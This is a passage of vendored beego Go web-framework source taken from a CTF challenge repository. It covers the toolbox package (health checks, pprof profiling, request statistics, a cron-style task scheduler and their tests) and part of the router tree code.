} func getPort() string { if port == "" { config, err := config.NewConfig("ini", "../conf/app.conf") if err != nil { return "8080" } port = config.String("httpport") return port } return port } // Get returns test client in GET method func Get(path string) *TestHTTPRequest { return &TestHTTPRequest{*httplib.Get(baseURL + getPort() + path)} } // Post returns test client in POST method func Post(path string) *TestHTTPRequest { return &TestHTTPRequest{*httplib.Post(baseURL + getPort() + path)} } // Put returns test client in PUT method func Put(path string) *TestHTTPRequest { return &TestHTTPRequest{*httplib.Put(baseURL + getPort() + path)} } // Delete returns test client in DELETE method func Delete(path string) *TestHTTPRequest { return &TestHTTPRequest{*httplib.Delete(baseURL + getPort() + path)} } // Head returns test client in HEAD method func Head(path string) *TestHTTPRequest { return &TestHTTPRequest{*httplib.Head(baseURL + getPort() + path)} } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/healthcheck.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package toolbox healthcheck // // type DatabaseCheck struct { // } // // func (dc *DatabaseCheck) Check() error { // if dc.isConnected() { // return nil // } else { // return errors.New("can't connect database") // } // } // // AddHealthCheck("database",&DatabaseCheck{}) // // more docs: http://beego.me/docs/module/toolbox.md package toolbox // AdminCheckList holds health checker map var AdminCheckList map[string]HealthChecker // HealthChecker health checker interface type HealthChecker interface { Check() error } // AddHealthCheck add health checker with name string func AddHealthCheck(name string, hc HealthChecker) { AdminCheckList[name] = hc } func init() { AdminCheckList = make(map[string]HealthChecker) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/profile.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package toolbox import ( "fmt" "io" "log" "os" "path" "runtime" "runtime/debug" "runtime/pprof" "strconv" "time" ) var startTime = time.Now() var pid int func init() { pid = os.Getpid() } // ProcessInput parse input command string func ProcessInput(input string, w io.Writer) { switch input { case "lookup goroutine": p := pprof.Lookup("goroutine") p.WriteTo(w, 2) case "lookup heap": p := pprof.Lookup("heap") p.WriteTo(w, 2) case "lookup threadcreate": p := pprof.Lookup("threadcreate") p.WriteTo(w, 2) case "lookup block": p := pprof.Lookup("block") p.WriteTo(w, 2) case "get cpuprof": GetCPUProfile(w) case "get memprof": MemProf(w) case "gc summary": PrintGCSummary(w) } } // MemProf record memory profile in pprof func MemProf(w io.Writer) { filename := "mem-" + strconv.Itoa(pid) + ".memprof" if f, err := os.Create(filename); err != nil { fmt.Fprintf(w, "create file %s error %s\n", filename, err.Error()) log.Fatal("record heap profile failed: ", err) } else { runtime.GC() pprof.WriteHeapProfile(f) f.Close() fmt.Fprintf(w, "create heap profile %s \n", filename) _, fl := path.Split(os.Args[0]) fmt.Fprintf(w, "Now you can use this to check it: go tool pprof %s %s\n", fl, filename) } } // GetCPUProfile start cpu profile monitor func GetCPUProfile(w io.Writer) { sec := 30 filename := "cpu-" + strconv.Itoa(pid) + ".pprof" f, err := os.Create(filename) if err != nil { fmt.Fprintf(w, "Could not enable CPU profiling: %s\n", err) log.Fatal("record cpu profile failed: ", err) } pprof.StartCPUProfile(f) time.Sleep(time.Duration(sec) * time.Second) pprof.StopCPUProfile() fmt.Fprintf(w, "create cpu profile %s \n", filename) _, fl := path.Split(os.Args[0]) fmt.Fprintf(w, "Now you can use this to check it: go tool pprof %s %s\n", fl, filename) } // PrintGCSummary print gc information to io.Writer func PrintGCSummary(w io.Writer) { memStats := &runtime.MemStats{} runtime.ReadMemStats(memStats) gcstats := &debug.GCStats{PauseQuantiles: make([]time.Duration, 100)} debug.ReadGCStats(gcstats) printGC(memStats, gcstats, w) } func printGC(memStats *runtime.MemStats, gcstats *debug.GCStats, w io.Writer) { if gcstats.NumGC > 0 { lastPause := gcstats.Pause[0] elapsed := time.Now().Sub(startTime) overhead := float64(gcstats.PauseTotal) / float64(elapsed) * 100 allocatedRate := float64(memStats.TotalAlloc) / elapsed.Seconds() fmt.Fprintf(w, "NumGC:%d Pause:%s Pause(Avg):%s Overhead:%3.2f%% Alloc:%s Sys:%s Alloc(Rate):%s/s Histogram:%s %s %s \n", gcstats.NumGC, toS(lastPause), toS(avg(gcstats.Pause)), overhead, toH(memStats.Alloc), toH(memStats.Sys), toH(uint64(allocatedRate)), toS(gcstats.PauseQuantiles[94]), toS(gcstats.PauseQuantiles[98]), toS(gcstats.PauseQuantiles[99])) } else { // while GC has disabled elapsed := time.Now().Sub(startTime) allocatedRate := float64(memStats.TotalAlloc) / elapsed.Seconds() fmt.Fprintf(w, "Alloc:%s Sys:%s Alloc(Rate):%s/s\n", toH(memStats.Alloc), toH(memStats.Sys), toH(uint64(allocatedRate))) } } func avg(items []time.Duration) time.Duration { var sum time.Duration for _, item := range items { sum += item } return time.Duration(int64(sum) / int64(len(items))) } // format bytes number friendly func toH(bytes uint64) string { switch { case bytes < 1024: return fmt.Sprintf("%dB", bytes) case bytes < 1024*1024: return fmt.Sprintf("%.2fK", float64(bytes)/1024) case bytes < 1024*1024*1024: return fmt.Sprintf("%.2fM", float64(bytes)/1024/1024) default: return fmt.Sprintf("%.2fG", float64(bytes)/1024/1024/1024) } } // short string format func toS(d time.Duration) string { u := uint64(d) if u < uint64(time.Second) { switch { case u == 0: return "0" case u < uint64(time.Microsecond): return fmt.Sprintf("%.2fns", float64(u)) case u < uint64(time.Millisecond): return fmt.Sprintf("%.2fus", float64(u)/1000) default: return fmt.Sprintf("%.2fms", float64(u)/1000/1000) } } else { switch { case u < uint64(time.Minute): return fmt.Sprintf("%.2fs", float64(u)/1000/1000/1000) case u < uint64(time.Hour): return fmt.Sprintf("%.2fm", float64(u)/1000/1000/1000/60) default: return fmt.Sprintf("%.2fh", float64(u)/1000/1000/1000/60/60) } } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/profile_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package toolbox import ( "os" "testing" ) func TestProcessInput(t *testing.T) { ProcessInput("lookup goroutine", os.Stdout) ProcessInput("lookup heap", os.Stdout) ProcessInput("lookup threadcreate", os.Stdout) ProcessInput("lookup block", os.Stdout) ProcessInput("gc summary", os.Stdout) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/statistics.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package toolbox import ( "fmt" "sync" "time" ) // Statistics struct type Statistics struct { RequestURL string RequestController string RequestNum int64 MinTime time.Duration MaxTime time.Duration TotalTime time.Duration } // URLMap contains several statistics struct to log different data type URLMap struct { lock sync.RWMutex LengthLimit int //limit the urlmap's length if it's equal to 0 there's no limit urlmap map[string]map[string]*Statistics } // AddStatistics add statistics task. // it needs request method, request url, request controller and statistics time duration func (m *URLMap) AddStatistics(requestMethod, requestURL, requestController string, requesttime time.Duration) { m.lock.Lock() defer m.lock.Unlock() if method, ok := m.urlmap[requestURL]; ok { if s, ok := method[requestMethod]; ok { s.RequestNum++ if s.MaxTime < requesttime { s.MaxTime = requesttime } if s.MinTime > requesttime { s.MinTime = requesttime } s.TotalTime += requesttime } else { nb := &Statistics{ RequestURL: requestURL, RequestController: requestController, RequestNum: 1, MinTime: requesttime, MaxTime: requesttime, TotalTime: requesttime, } m.urlmap[requestURL][requestMethod] = nb } } else { if m.LengthLimit > 0 && m.LengthLimit <= len(m.urlmap) { return } methodmap := make(map[string]*Statistics) nb := &Statistics{ RequestURL: requestURL, RequestController: requestController, RequestNum: 1, MinTime: requesttime, MaxTime: requesttime, TotalTime: requesttime, } methodmap[requestMethod] = nb m.urlmap[requestURL] = methodmap } } // GetMap put url statistics result in io.Writer func (m *URLMap) GetMap() map[string]interface{} { m.lock.RLock() defer m.lock.RUnlock() var fields = []string{"requestUrl", "method", "times", "used", "max used", "min used", "avg used"} var resultLists [][]string content := make(map[string]interface{}) content["Fields"] = fields for k, v := range m.urlmap { for kk, vv := range v { result := []string{ fmt.Sprintf("% -50s", k), fmt.Sprintf("% -10s", kk), fmt.Sprintf("% -16d", vv.RequestNum), fmt.Sprintf("%d", vv.TotalTime), fmt.Sprintf("% -16s", toS(vv.TotalTime)), fmt.Sprintf("%d", vv.MaxTime), fmt.Sprintf("% -16s", toS(vv.MaxTime)), fmt.Sprintf("%d", vv.MinTime), fmt.Sprintf("% -16s", toS(vv.MinTime)), fmt.Sprintf("%d", time.Duration(int64(vv.TotalTime)/vv.RequestNum)), fmt.Sprintf("% -16s", toS(time.Duration(int64(vv.TotalTime)/vv.RequestNum))), } resultLists = append(resultLists, result) } } content["Data"] = resultLists return content } // GetMapData return all mapdata func (m *URLMap) GetMapData() []map[string]interface{} { m.lock.Lock() defer m.lock.Unlock() var resultLists []map[string]interface{} for k, v := range m.urlmap { for kk, vv := range v { result := map[string]interface{}{ "request_url": k, "method": kk, "times": vv.RequestNum, "total_time": toS(vv.TotalTime), "max_time": toS(vv.MaxTime), "min_time": toS(vv.MinTime), "avg_time": toS(time.Duration(int64(vv.TotalTime) / vv.RequestNum)), } resultLists = append(resultLists, result) } } return resultLists } // StatisticsMap hosld global statistics data map var StatisticsMap *URLMap func init() { StatisticsMap = &URLMap{ urlmap: make(map[string]map[string]*Statistics), } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/statistics_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package toolbox import ( "encoding/json" "testing" "time" ) func TestStatics(t *testing.T) { StatisticsMap.AddStatistics("POST", "/api/user", "&admin.user", time.Duration(2000)) StatisticsMap.AddStatistics("POST", "/api/user", "&admin.user", time.Duration(120000)) StatisticsMap.AddStatistics("GET", "/api/user", "&admin.user", time.Duration(13000)) StatisticsMap.AddStatistics("POST", "/api/admin", "&admin.user", time.Duration(14000)) StatisticsMap.AddStatistics("POST", "/api/user/astaxie", "&admin.user", time.Duration(12000)) StatisticsMap.AddStatistics("POST", "/api/user/xiemengjun", "&admin.user", time.Duration(13000)) StatisticsMap.AddStatistics("DELETE", "/api/user", "&admin.user", time.Duration(1400)) t.Log(StatisticsMap.GetMap()) data := StatisticsMap.GetMapData() b, err := json.Marshal(data) if err != nil { t.Errorf(err.Error()) } t.Log(string(b)) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/task.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package toolbox import ( "log" "math" "sort" "strconv" "strings" "time" ) // bounds provides a range of acceptable values (plus a map of name to value). type bounds struct { min, max uint names map[string]uint } // The bounds for each field. var ( AdminTaskList map[string]Tasker stop chan bool changed chan bool isstart bool seconds = bounds{0, 59, nil} minutes = bounds{0, 59, nil} hours = bounds{0, 23, nil} days = bounds{1, 31, nil} months = bounds{1, 12, map[string]uint{ "jan": 1, "feb": 2, "mar": 3, "apr": 4, "may": 5, "jun": 6, "jul": 7, "aug": 8, "sep": 9, "oct": 10, "nov": 11, "dec": 12, }} weeks = bounds{0, 6, map[string]uint{ "sun": 0, "mon": 1, "tue": 2, "wed": 3, "thu": 4, "fri": 5, "sat": 6, }} ) const ( // Set the top bit if a star was included in the expression. starBit = 1 << 63 ) // Schedule time taks schedule type Schedule struct { Second uint64 Minute uint64 Hour uint64 Day uint64 Month uint64 Week uint64 } // TaskFunc task func type type TaskFunc func() error // Tasker task interface type Tasker interface { GetSpec() string GetStatus() string Run() error SetNext(time.Time) GetNext() time.Time SetPrev(time.Time) GetPrev() time.Time } // task error type taskerr struct { t time.Time errinfo string } // Task task struct type Task struct { Taskname string Spec *Schedule SpecStr string DoFunc TaskFunc Prev time.Time Next time.Time Errlist []*taskerr // like errtime:errinfo ErrLimit int // max length for the errlist, 0 stand for no limit } // NewTask add new task with name, time and func func NewTask(tname string, spec string, f TaskFunc) *Task { task := &Task{ Taskname: tname, DoFunc: f, ErrLimit: 100, SpecStr: spec, } task.SetCron(spec) return task } // GetSpec get spec string func (t *Task) GetSpec() string { return t.SpecStr } // GetStatus get current task status func (t *Task) GetStatus() string { var str string for _, v := range t.Errlist { str += v.t.String() + ":" + v.errinfo + "
      " } return str } // Run run all tasks func (t *Task) Run() error { err := t.DoFunc() if err != nil { if t.ErrLimit > 0 && t.ErrLimit > len(t.Errlist) { t.Errlist = append(t.Errlist, &taskerr{t: t.Next, errinfo: err.Error()}) } } return err } // SetNext set next time for this task func (t *Task) SetNext(now time.Time) { t.Next = t.Spec.Next(now) } // GetNext get the next call time of this task func (t *Task) GetNext() time.Time { return t.Next } // SetPrev set prev time of this task func (t *Task) SetPrev(now time.Time) { t.Prev = now } // GetPrev get prev time of this task func (t *Task) GetPrev() time.Time { return t.Prev } // six columns mean: // second:0-59 // minute:0-59 // hour:1-23 // day:1-31 // month:1-12 // week:0-6(0 means Sunday) // SetCron some signals: // *: any time // ,:  separate signal //   -:duration // /n : do as n times of time duration ///////////////////////////////////////////////////////// // 0/30 * * * * * every 30s // 0 43 21 * * * 21:43 // 0 15 05 * * *    05:15 // 0 0 17 * * * 17:00 // 0 0 17 * * 1 17:00 in every Monday // 0 0,10 17 * * 0,2,3 17:00 and 17:10 in every Sunday, Tuesday and Wednesday // 0 0-10 17 1 * * 17:00 to 17:10 in 1 min duration each time on the first day of month // 0 0 0 1,15 * 1 0:00 on the 1st day and 15th day of month // 0 42 4 1 * *     4:42 on the 1st day of month // 0 0 21 * * 1-6   21:00 from Monday to Saturday // 0 0,10,20,30,40,50 * * * *  every 10 min duration // 0 */10 * * * *        every 10 min duration // 0 * 1 * * *         1:00 to 1:59 in 1 min duration each time // 0 0 1 * * *         1:00 // 0 0 */1 * * *        0 min of hour in 1 hour duration // 0 0 * * * *         0 min of hour in 1 hour duration // 0 2 8-20/3 * * *       8:02, 11:02, 14:02, 17:02, 20:02 // 0 30 5 1,15 * *       5:30 on the 1st day and 15th day of month func (t *Task) SetCron(spec string) { t.Spec = t.parse(spec) } func (t *Task) parse(spec string) *Schedule { if len(spec) > 0 && spec[0] == '@' { return t.parseSpec(spec) } // Split on whitespace. We require 5 or 6 fields. // (second) (minute) (hour) (day of month) (month) (day of week, optional) fields := strings.Fields(spec) if len(fields) != 5 && len(fields) != 6 { log.Panicf("Expected 5 or 6 fields, found %d: %s", len(fields), spec) } // If a sixth field is not provided (DayOfWeek), then it is equivalent to star. if len(fields) == 5 { fields = append(fields, "*") } schedule := &Schedule{ Second: getField(fields[0], seconds), Minute: getField(fields[1], minutes), Hour: getField(fields[2], hours), Day: getField(fields[3], days), Month: getField(fields[4], months), Week: getField(fields[5], weeks), } return schedule } func (t *Task) parseSpec(spec string) *Schedule { switch spec { case "@yearly", "@annually": return &Schedule{ Second: 1 << seconds.min, Minute: 1 << minutes.min, Hour: 1 << hours.min, Day: 1 << days.min, Month: 1 << months.min, Week: all(weeks), } case "@monthly": return &Schedule{ Second: 1 << seconds.min, Minute: 1 << minutes.min, Hour: 1 << hours.min, Day: 1 << days.min, Month: all(months), Week: all(weeks), } case "@weekly": return &Schedule{ Second: 1 << seconds.min, Minute: 1 << minutes.min, Hour: 1 << hours.min, Day: all(days), Month: all(months), Week: 1 << weeks.min, } case "@daily", "@midnight": return &Schedule{ Second: 1 << seconds.min, Minute: 1 << minutes.min, Hour: 1 << hours.min, Day: all(days), Month: all(months), Week: all(weeks), } case "@hourly": return &Schedule{ Second: 1 << seconds.min, Minute: 1 << minutes.min, Hour: all(hours), Day: all(days), Month: all(months), Week: all(weeks), } } log.Panicf("Unrecognized descriptor: %s", spec) return nil } // Next set schedule to next time func (s *Schedule) Next(t time.Time) time.Time { // Start at the earliest possible time (the upcoming second). t = t.Add(1*time.Second - time.Duration(t.Nanosecond())*time.Nanosecond) // This flag indicates whether a field has been incremented. added := false // If no time is found within five years, return zero. yearLimit := t.Year() + 5 WRAP: if t.Year() > yearLimit { return time.Time{} } // Find the first applicable month. // If it's this month, then do nothing. for 1< 0 dowMatch = 1< 0 ) if s.Day&starBit > 0 || s.Week&starBit > 0 { return domMatch && dowMatch } return domMatch || dowMatch } // StartTask start all tasks func StartTask() { if isstart { //If already started, no need to start another goroutine. return } isstart = true go run() } func run() { now := time.Now().Local() for _, t := range AdminTaskList { t.SetNext(now) } for { sortList := NewMapSorter(AdminTaskList) sortList.Sort() var effective time.Time if len(AdminTaskList) == 0 || sortList.Vals[0].GetNext().IsZero() { // If there are no entries yet, just sleep - it still handles new entries // and stop requests. effective = now.AddDate(10, 0, 0) } else { effective = sortList.Vals[0].GetNext() } select { case now = <-time.After(effective.Sub(now)): // Run every entry whose next time was this effective time. for _, e := range sortList.Vals { if e.GetNext() != effective { break } go e.Run() e.SetPrev(e.GetNext()) e.SetNext(effective) } continue case <-changed: now = time.Now().Local() continue case <-stop: return } } } // StopTask stop all tasks func StopTask() { if isstart { isstart = false stop <- true } } // AddTask add task with name func AddTask(taskname string, t Tasker) { AdminTaskList[taskname] = t if isstart { changed <- true } } // DeleteTask delete task with name func DeleteTask(taskname string) { delete(AdminTaskList, taskname) if isstart { changed <- true } } // MapSorter sort map for tasker type MapSorter struct { Keys []string Vals []Tasker } // NewMapSorter create new tasker map func NewMapSorter(m map[string]Tasker) *MapSorter { ms := &MapSorter{ Keys: make([]string, 0, len(m)), Vals: make([]Tasker, 0, len(m)), } for k, v := range m { ms.Keys = append(ms.Keys, k) ms.Vals = append(ms.Vals, v) } return ms } // Sort sort tasker map func (ms *MapSorter) Sort() { sort.Sort(ms) } func (ms *MapSorter) Len() int { return len(ms.Keys) } func (ms *MapSorter) Less(i, j int) bool { if ms.Vals[i].GetNext().IsZero() { return false } if ms.Vals[j].GetNext().IsZero() { return true } return ms.Vals[i].GetNext().Before(ms.Vals[j].GetNext()) } func (ms *MapSorter) Swap(i, j int) { ms.Vals[i], ms.Vals[j] = ms.Vals[j], ms.Vals[i] ms.Keys[i], ms.Keys[j] = ms.Keys[j], ms.Keys[i] } func getField(field string, r bounds) uint64 { // list = range {"," range} var bits uint64 ranges := strings.FieldsFunc(field, func(r rune) bool { return r == ',' }) for _, expr := range ranges { bits |= getRange(expr, r) } return bits } // getRange returns the bits indicated by the given expression: // number | number "-" number [ "/" number ] func getRange(expr string, r bounds) uint64 { var ( start, end, step uint rangeAndStep = strings.Split(expr, "/") lowAndHigh = strings.Split(rangeAndStep[0], "-") singleDigit = len(lowAndHigh) == 1 ) var extrastar uint64 if lowAndHigh[0] == "*" || lowAndHigh[0] == "?" { start = r.min end = r.max extrastar = starBit } else { start = parseIntOrName(lowAndHigh[0], r.names) switch len(lowAndHigh) { case 1: end = start case 2: end = parseIntOrName(lowAndHigh[1], r.names) default: log.Panicf("Too many hyphens: %s", expr) } } switch len(rangeAndStep) { case 1: step = 1 case 2: step = mustParseInt(rangeAndStep[1]) // Special handling: "N/step" means "N-max/step". if singleDigit { end = r.max } default: log.Panicf("Too many slashes: %s", expr) } if start < r.min { log.Panicf("Beginning of range (%d) below minimum (%d): %s", start, r.min, expr) } if end > r.max { log.Panicf("End of range (%d) above maximum (%d): %s", end, r.max, expr) } if start > end { log.Panicf("Beginning of range (%d) beyond end of range (%d): %s", start, end, expr) } return getBits(start, end, step) | extrastar } // parseIntOrName returns the (possibly-named) integer contained in expr. func parseIntOrName(expr string, names map[string]uint) uint { if names != nil { if namedInt, ok := names[strings.ToLower(expr)]; ok { return namedInt } } return mustParseInt(expr) } // mustParseInt parses the given expression as an int or panics. func mustParseInt(expr string) uint { num, err := strconv.Atoi(expr) if err != nil { log.Panicf("Failed to parse int from %s: %s", expr, err) } if num < 0 { log.Panicf("Negative number (%d) not allowed: %s", num, expr) } return uint(num) } // getBits sets all bits in the range [min, max], modulo the given step size. func getBits(min, max, step uint) uint64 { var bits uint64 // If step is 1, use shifts. if step == 1 { return ^(math.MaxUint64 << (max + 1)) & (math.MaxUint64 << min) } // Else, use a simple loop. for i := min; i <= max; i += step { bits |= 1 << i } return bits } // all returns all bits within the given bounds. (plus the star bit) func all(r bounds) uint64 { return getBits(r.min, r.max, 1) | starBit } func init() { AdminTaskList = make(map[string]Tasker) stop = make(chan bool) changed = make(chan bool) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/task_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package toolbox import ( "fmt" "sync" "testing" "time" ) func TestParse(t *testing.T) { tk := NewTask("taska", "0/30 * * * * *", func() error { fmt.Println("hello world"); return nil }) err := tk.Run() if err != nil { t.Fatal(err) } AddTask("taska", tk) StartTask() time.Sleep(6 * time.Second) StopTask() } func TestSpec(t *testing.T) { wg := &sync.WaitGroup{} wg.Add(2) tk1 := NewTask("tk1", "0 12 * * * *", func() error { fmt.Println("tk1"); return nil }) tk2 := NewTask("tk2", "0,10,20 * * * * *", func() error { fmt.Println("tk2"); wg.Done(); return nil }) tk3 := NewTask("tk3", "0 10 * * * *", func() error { fmt.Println("tk3"); wg.Done(); return nil }) AddTask("tk1", tk1) AddTask("tk2", tk2) AddTask("tk3", tk3) StartTask() defer StopTask() select { case <-time.After(200 * time.Second): t.FailNow() case <-wait(wg): } } func wait(wg *sync.WaitGroup) chan bool { ch := make(chan bool) go func() { wg.Wait() ch <- true }() return ch } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/tree.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package beego import ( "path" "regexp" "strings" "github.com/astaxie/beego/context" "github.com/astaxie/beego/utils" ) var ( allowSuffixExt = []string{".json", ".xml", ".html"} ) // Tree has three elements: FixRouter/wildcard/leaves // fixRouter stores Fixed Router // wildcard stores params // leaves store the endpoint information type Tree struct { //prefix set for static router prefix string //search fix route first fixrouters []*Tree //if set, failure to match fixrouters search then search wildcard wildcard *Tree //if set, failure to match wildcard search leaves []*leafInfo } // NewTree return a new Tree func NewTree() *Tree { return &Tree{} } // AddTree will add tree to the exist Tree // prefix should has no params func (t *Tree) AddTree(prefix string, tree *Tree) { t.addtree(splitPath(prefix), tree, nil, "") } func (t *Tree) addtree(segments []string, tree *Tree, wildcards []string, reg string) { if len(segments) == 0 { panic("prefix should has path") } seg := segments[0] iswild, params, regexpStr := splitSegment(seg) // if it's ? meaning can igone this, so add one more rule for it if len(params) > 0 && params[0] == ":" { params = params[1:] if len(segments[1:]) > 0 { t.addtree(segments[1:], tree, append(wildcards, params...), reg) } else { filterTreeWithPrefix(tree, wildcards, reg) } } //Rule: /login/*/access match /login/2009/11/access //if already has *, and when loop the access, should as a regexpStr if !iswild && utils.InSlice(":splat", wildcards) { iswild = true regexpStr = seg } //Rule: /user/:id/* if seg == "*" && len(wildcards) > 0 && reg == "" { regexpStr = "(.+)" } if len(segments) == 1 { if iswild { if regexpStr != "" { if reg == "" { rr := "" for _, w := range wildcards { if w == ":splat" { rr = rr + "(.+)/" } else { rr = rr + "([^/]+)/" } } regexpStr = rr + regexpStr } else { regexpStr = "/" + regexpStr } } else if reg != "" { if seg == "*.*" { regexpStr = "([^.]+).(.+)" } else { for _, w := range params { if w == "." || w == ":" { continue } regexpStr = "([^/]+)/" + regexpStr } } } reg = strings.Trim(reg+"/"+regexpStr, "/") filterTreeWithPrefix(tree, append(wildcards, params...), reg) t.wildcard = tree } else { reg = strings.Trim(reg+"/"+regexpStr, "/") filterTreeWithPrefix(tree, append(wildcards, params...), reg) tree.prefix = seg t.fixrouters = append(t.fixrouters, tree) } return } if iswild { if t.wildcard == nil { t.wildcard = NewTree() } if regexpStr != "" { if reg == "" { rr := "" for _, w := range wildcards { if w == ":splat" { rr = rr + "(.+)/" } else { rr = rr + "([^/]+)/" } } regexpStr = rr + regexpStr } else { regexpStr = "/" + regexpStr } } else if reg != "" { if seg == "*.*" { regexpStr = "([^.]+).(.+)" params = params[1:] } else { for range params { regexpStr = "([^/]+)/" + regexpStr } } } else { if seg == "*.*" { params = params[1:] } } reg = strings.TrimRight(strings.TrimRight(reg, "/")+"/"+regexpStr, "/") t.wildcard.addtree(segments[1:], tree, append(wildcards, params...), reg) } else { subTree := NewTree() subTree.prefix = seg t.fixrouters = append(t.fixrouters, subTree) subTree.addtree(segments[1:], tree, append(wildcards, params...), reg) } } func filterTreeWithPrefix(t *Tree, wildcards []string, reg string) { for _, v := range t.fixrouters { filterTreeWithPrefix(v, wildcards, reg) } if t.wildcard != nil { filterTreeWithPrefix(t.wildcard, wildcards, reg) } for _, l := range t.leaves { if reg != "" { if l.regexps != nil { l.wildcards = append(wildcards, l.wildcards...) l.regexps = regexp.MustCompile("^" + reg + "/" + strings.Trim(l.regexps.String(), "^$") + "$") } else { for _, v := range l.wildcards { if v == ":splat" { reg = reg + "/(.+)" } else { reg = reg + "/([^/]+)" } } l.regexps = regexp.MustCompile("^" + reg + "$") l.wildcards = append(wildcards, l.wildcards...) } } else { l.wildcards = append(wildcards, l.wildcards...) if l.regexps != nil { for _, w := range wildcards { if w == ":splat" { reg = "(.+)/" + reg } else { reg = "([^/]+)/" + reg } } l.regexps = regexp.MustCompile("^" + reg + strings.Trim(l.regexps.String(), "^$") + "$") } } } } // AddRouter call addseg function func (t *Tree) AddRouter(pattern string, runObject interface{}) { t.addseg(splitPath(pattern), runObject, nil, "") } // "/" // "admin" -> func (t *Tree) addseg(segments []string, route interface{}, wildcards []string, reg string) { if len(segments) == 0 { if reg != "" { t.leaves = append(t.leaves, &leafInfo{runObject: route, wildcards: wildcards, regexps: regexp.MustCompile("^" + reg + "$")}) } else { t.leaves = append(t.leaves, &leafInfo{runObject: route, wildcards: wildcards}) } } else { seg := segments[0] iswild, params, regexpStr := splitSegment(seg) // if it's ? meaning can igone this, so add one more rule for it if len(params) > 0 && params[0] == ":" { t.addseg(segments[1:], route, wildcards, reg) params = params[1:] } //Rule: /login/*/access match /login/2009/11/access //if already has *, and when loop the access, should as a regexpStr if !iswild && utils.InSlice(":splat", wildcards) { iswild = true regexpStr = seg } //Rule: /user/:id/* if seg == "*" && len(wildcards) > 0 && reg == "" { regexpStr = "(.+)" } if iswild { if t.wildcard == nil { t.wildcard = NewTree() } if regexpStr != "" { if reg == "" { rr := "" for _, w := range wildcards { if w == ":splat" { rr = rr + "(.+)/" } else { rr = rr + "([^/]+)/" } } regexpStr = rr + regexpStr } else { regexpStr = "/" + regexpStr } } else if reg != "" { if seg == "*.*" { regexpStr = "/([^.]+).(.+)" params = params[1:] } else { for range params { regexpStr = "/([^/]+)" + regexpStr } } } else { if seg == "*.*" { params = params[1:] } } t.wildcard.addseg(segments[1:], route, append(wildcards, params...), reg+regexpStr) } else { var subTree *Tree for _, sub := range t.fixrouters { if sub.prefix == seg { subTree = sub break } } if subTree == nil { subTree = NewTree() subTree.prefix = seg t.fixrouters = append(t.fixrouters, subTree) } subTree.addseg(segments[1:], route, wildcards, reg) } } } // Match router to runObject & params func (t *Tree) Match(pattern string, ctx *context.Context) (runObject interface{}) { if len(pattern) == 0 || pattern[0] != '/' { return nil } w := make([]string, 0, 